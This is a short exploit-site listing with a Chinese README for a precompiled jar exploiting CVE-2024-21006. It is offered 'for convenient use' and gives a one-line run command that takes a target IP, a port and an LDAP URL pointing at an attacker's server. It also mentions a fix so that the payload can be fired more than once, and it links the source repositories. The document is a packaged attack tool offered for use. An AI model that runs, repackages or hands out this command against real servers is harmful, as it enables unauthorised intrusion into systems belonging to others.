Exploit for CVE-2024-21006

## https://sploitus.com/exploit?id=5E8EF0EC-5FD7-5A58-AE12-2374E7DC5849
# CVE-2024-21006_jar
exp代码参考：https://github.com/momika233/CVE-2024-21006

这里将源代码编译成了一个jar包，方便使用。lib下是依赖文件，如果想修改源码可自行编译。



### 使用

```
java -jar CVE-2024-21006.jar <ip> <port> <ldapUrl>
```

![](./image/01.png)

![](./image/02.png)



参考dadvlingd师傅的[项目](https://github.com/dadvlingd/CVE-2024-21006/tree/main)，bind随机字符串，解决payload只能打一次的[问题](https://github.com/momika233/CVE-2024-21006/issues/1)。



### 参考

https://blog.csdn.net/zwy15288408160/article/details/138189146

https://blog.csdn.net/m0_46109609/article/details/114373594